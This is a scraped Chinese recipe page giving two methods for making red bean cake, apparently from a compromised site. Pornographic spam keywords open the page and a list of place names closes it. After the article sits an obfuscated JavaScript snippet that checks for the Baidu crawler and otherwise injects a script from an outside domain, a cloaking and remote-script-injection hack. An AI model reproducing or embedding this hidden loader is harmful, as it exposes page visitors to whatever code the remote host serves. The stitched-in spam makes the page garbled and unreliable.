亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當前位置:首頁 > 飲食 > 烹飪技巧 > 正文

帶你一起學習紅豆糕的多種做法

2017-01-16 22:08:56  來源:360常識網(wǎng)   熱度:
導語:紅豆糕是一款很好的家常糕點,在很多蛋糕點心店都可以看到它的身影。其實我們不一定非要跑到店里買來吃。自己在家里也是可以做的。那么紅豆

紅豆糕是一款很好的家常糕點,在很多蛋糕點心店都可以看到它的身影。其實我們不一定非要跑到店里買來吃。自己在家里也是可以做的。那么紅豆糕都有哪些做法呢?

方法一

主要配料

紅豆250克,沸水4杯,水1/2杯,糖3/4杯或隨量粘米粉1/2杯,澄面粉1/4杯,油2湯匙,馬蹄粉一斤,一斤粉5斤水,用半斤糖。

制作步驟:

1、紅豆沖凈,揀去雜物,用冷水浸2小時,瀝水。拌勻2種干粉。

2、3公升深鍋內放入紅豆,加沸水4杯,蓋好,大火熱5分鐘水便燒開。改用中火(70%火力)煮40分鐘,再用大火熱20分鐘。這時鍋內水分約有1杯,泌出豆汁,紅豆留用。

3、大碗內加水1/2杯與粘米粉及澄面和勻,加入沸騰之紅豆汁1杯。

4、拌糖及油入紅豆內使溶化,慢慢注下粉漿,不停攪拌至均勻。

5、倒紅豆糕糊進已涂油之長盤(21×11×6厘米)內,用膠膜包緊,四角蓋以鋁箔,啞面向外。

6、置糕盤近轉盤邊沿處,大火熱8分鐘,將糕盤作180度之位置轉移,繼用中火(70%火力)熱7分鐘。擱置待冷后切塊供食。

方法二

步驟:

1、將大約半斤的紅豆用清水洗干凈,再用大約三至四湯匙堿水加水浸大概半小時,就可以把紅豆放進鍋里煮至變軟出沙了。若想吃的時候口感更加軟滑,便要將紅豆去殼,做成紅豆沙;

2、用手狂抓紅豆,令紅豆的殼和沙分開,再用隔水用的勺子將殼隔出,之后就可以隔沙了。隔沙要用一個專門的袋子(可用密度比較高的布自行縫制),把紅豆沙倒進袋中,把水擰干,就可得出純正的紅豆沙了;

3、在此同時,可以用水將片糖煮開(糖的用量要因量而定),然后倒入事先裝好的粘米粉中(用量為一包),搞勻。然后將大約四分一調好的糯米粉放進紅豆沙中,再加適量的水開至糊狀,最后加適量的白砂糖,搞勻;

4、一層一層地下用料:先下一半糯米粉蒸,等粉結成糕狀,就可以下紅豆沙,整齊鋪好后再蓋鍋,最后再把最后的一層粘米粉鋪上,蒸至熟便可。

轉載申明:360常識網(wǎng),歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
樟树市| 台前县| 沙田区| 靖远县| 信阳市| 岚皋县| 宜良县| 会理县| 永嘉县| 汾阳市| 吴堡县| 庆阳市| 阿拉善盟| 景泰县| 依兰县| 塔城市| 海阳市| 浠水县| 乌鲁木齐市| 马公市| 淮南市| 道真| 利辛县| 阳高县| 昌吉市| 大丰市| 海伦市| 黎川县| 于都县| 南昌市| 茌平县| 上林县| 瑞丽市| 开江县| 翁牛特旗| 平昌县| 阳山县| 遂宁市| 乌恰县| 巴楚县| 于都县|